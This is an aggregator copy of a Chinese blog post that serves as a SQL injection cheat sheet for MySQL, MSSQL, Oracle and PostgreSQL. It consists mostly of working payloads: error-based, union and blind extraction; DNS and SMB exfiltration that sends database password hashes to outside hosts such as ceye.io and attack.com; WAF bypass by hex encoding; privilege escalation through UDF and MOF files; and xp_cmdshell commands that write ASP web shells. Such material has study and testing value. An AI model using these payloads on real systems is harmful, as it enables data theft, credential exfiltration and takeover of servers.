4

Web安全之SQL注入漏洞 | UltramanGaia's Blog

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/Web%E5%AE%89%E5%85%A8%E4%B9%8BSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Web安全之SQL注入漏洞

发布时间 : 2018-02-23 13:57
用户输入数据被当成了代码被执行
原则
有回显:union select、报错注入
无回显:dnslog, time-based, boolean-based
注:思维导图https://github.com/UltramanGaia/SecMM

最常见的注入

select * from xxx where id = %s ;
select * from xxx where id = '%s' ;
select * from xxx where id = "%s" ;
select * from xxx where id = ('%s') ;
select * from xxx where id = ("%s") ;
用
'
"
(
)
char
string
组合看看能不能报错显示出执行的sql语句
检测union select注入
order by 查列数
union select 看回显

用
or 1=1
or 1=2
and 1=1
and 1=2
检测boolean注入

用
or sleep(3)
检测time_base注入

Mysql

Mysql 默认端口 3306

Union Select注入

确认列数
order by 
union select 1,2,3
union select null,null,null
union select @,@,@
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
  • bool注入

    and 1=1
    and 1=2
    or 1=1
    or 1=2
    爆数据长度
    and length(查询数据语句)=数字
    select * from user where id=1 and length((select version()))=23;
    爆数据
    and mid((查询数据语句),数字,1)='字符'
    select * from user where id=1 and mid((select version()),1,1)='5';
  • sleep()
    benchmark()
    爆数据长度
    and if(length(查询数据语句)=数字,sleep(5),0)
    and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0)
    爆数据
    and if(mid((查询数据语句),数字,1)='字符',sleep(5),0)
    and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0)
    其他操作。。
  • dnslog注入

    select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
    SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
  • ' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'

小众注入位置

  • limit 后面//貌似mysql5.7不能用

    ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
    ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
  • order by后面

    通过条件+排序
    order by IF(1=1,name,price) 通过name字段排序
    order by (CASE+WHEN+(1=1)+THEN+name+ELSE+price+END)
    通过报错
    select host from mysql.user order by host|updatexml(1,concat(0x3a,version(),0x3a),1);
    select host from mysql.user order by host|extractvalue(1,concat(0x7e,version()));
    
  • like 模糊匹配

    like '%test%'
  • regexp

    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-n]' limit 0,1); // true
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-g]' limit 0,1); //true
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-a]' limit 0,1);//false
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^a[a-n]' limit 0,1);//true

最常用的获取数据方法

大于Mysql 5.0

获取库名
select schema_name from information_schema.schemata limit 0,1
获取表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
获取列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
获取数据
select name from user; 
注:可以用十六进制代替数据库名、表名
如果过滤了空格,linux下可以用下列字符替代
%09 tab水平
%0a 换行
%0d    return 
%0b tab垂直
%a0 空格
select database();
select schema_name from information_schema.schemata limit 0,1;
select group_concat(schema_name) from information_schema.schemata;
select distinct(Db) from mysql.db;
select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
select group_concat(table_name) from information_schema.tables where table_schema='mysql' ;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db' 
Select group_concat(column_name) from table_name

双注入Double Injection

原理:mysql在 group by时,会先建立一张虚拟表。
取第一条记录,执行 floor(rand(0)2),发现结果为0,查询虚拟表,发现0的键值不存在,则在虚拟表插入
的新的数据时 floor(rand(0)
2)会被再计算一次,结果为1(第二次计算)
取第二条记录,执行 floor(rand(0)2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在,所以
floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕。
再次增加一条的时候
floor(rand(0)
2)发现结果为0(第4次计算)
查询虚拟表,发现0的键值不存在! 那么会在被计算一次
结果为1(第5次计算)
但是这个 已经存在了。主键值必须唯一。所以插入表就报错了。
返回的这个也是个表,每次查询处理计算完插入进去。
这样就可以报错了。

and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
union select 1,2 from (select+count(*),concat(floor(rand(0)*2),( 查询数据语句))a from information_schema.tables group by a)b
select user, file_priv from mysql.user;//查看权限
select * from users where id = (('1')) union select 1,2,load_file('/etc/passwd');//若是有权限,但不能读取,应该是secure_file_priv的锅

输出到文件中(需要知道绝对路径)

select * from users where id = (('1')) union select 1,2,users() into outfile 'D:\\1.txt';///var/lib/mysql-files/2.txt
select * from users where id = (('1')) union select 1,2,users() into dumpfile 'D:\\1.txt';
outfile 导出可以多行,会有换行等,适合导出文本文件
dumpfile 导出只能是一行,没有换行,适合导出二进制文件

二次排序注入 (存储型的注入)

二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
二次排序注入思路:
1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的
2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。
假设存在一个账户"admin",密码不知
创建一个账户"admin'#",则在数据库中保存有"admin'#"
修改密码的时候,代入sql语句
update users set passwd = "xxxx" where username = '      admin'#    ' and passwd = 'xxxxxxx'

宽字节注入

%df'   ->    %df%5c'
将sql语句解析为gbk编码时,
%df%5c  ->  当成一个字符,后面的'逃逸出来了

(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。

(3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。

(4) iconv,如iconv('GBK', 'UTF-8',$sql)

注入点 update / insert /delete

报错注入
extractvalue()函数是MYSQL对XML文档数据进行查询函数。
or extractvalue(1,concat(0x7e,version())) or

updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。
or updatexml(1,concat(0x7e,(version())),0) or

name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。

update数据到可见参数
update users set points =  1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))

WAF绕过

检测select

  1. 尝试大小写绕过
  2. 尝试URLencode,如%53elect
  3. 仅能查询当前表

Mysql提权

udf提权

Windows

mysql < 5.0 无路径限制
如, C:\Winnt\udf.dll 或 C:\Windows\udf.dll
5.0 <= mysql < 5.1 system目录
如,C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll 
mysql >= 5.1
%mysql%\plugin\udf.dll
select @@plugin_dir / show variables like '%plugin%';查询plugin路径
如,C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll
Create function cmdshell1 returns string soname "udf.dll";
Select cmdshell1("dir");
# 用完后
Drop function cmdshell1;
常用函数名:
cmdshell    执行cmd;
downloader  下载者,到网上下载指定文件并保存到指定目录;
open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
backshell   反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread     读注册表;
regwrite    写注册表;
shut        关机,注销,重启;
about       说明与帮助函数;

Linux

show variables like "%plugin%";
/usr/lib/mysql/plugin/lib_mysqludf_sys.so 
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);

mof提权

select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mssql

@@version>0
@@SERVERNAME


爆数据库名
db_name()>0
(SELECT top 1 Name FROM Master..SysDatabases)>0
(SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
爆表名
(select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0)>0
users
(select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('users'))>0
爆列名
(select top 1 COLUMN_NAME from 数据库名.information_schema.columns where TABLE_NAME='表名')>0
(select top 1 COLUMN_NAME from 数据库名.information_schema.columns where TABLE_NAME='表名' and COLUMN_NAME not in ('列名'))>0
爆数据
(select top 1 列名 from 表名)>0
gxctf
(select top 1 列名 from 表名 and 列名 not in ('gxctf'))>0

输出到文件,上传木马

?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\www\1.asp'--

?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

hex编码绕过waf

1. 爆数据库版本:
select convert(int,@@version) 
hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)--
转换成数据类型 int 时失败。
2. 爆当前数据库
select convert(int,db_name()) 
hex 编码后:
0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929 eXeC(@s)--
3. 爆用户:
select convert(int,User_Name())
hex编码后:0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929 eXeC(@s)--
同理

boolean盲注

?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
?c=c1'/**/and/**/ascii(substring(子查询,1,1))>0/**/--&t=0

dnslog注入

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle

dnslog注入

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

Postgresql

Postgresql 默认端口 5432

Postgresql查询数据

SELECT datname FROM pg_database;
select schema_name from information_schema.schemata limit 1 offset 0; # PostgreSQL >= 7.4
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

dnslog注入

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
information_schema特性支持
Microsoft SQL Server - Supported in Version 7 and up
MySQL - Supported in Version 5 and up
PostgreSQL - Supported in Version 7.4 and up
Oracle - Does not appear to be supported
Apache Derby - NOT Supported As of Version 10.3



转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK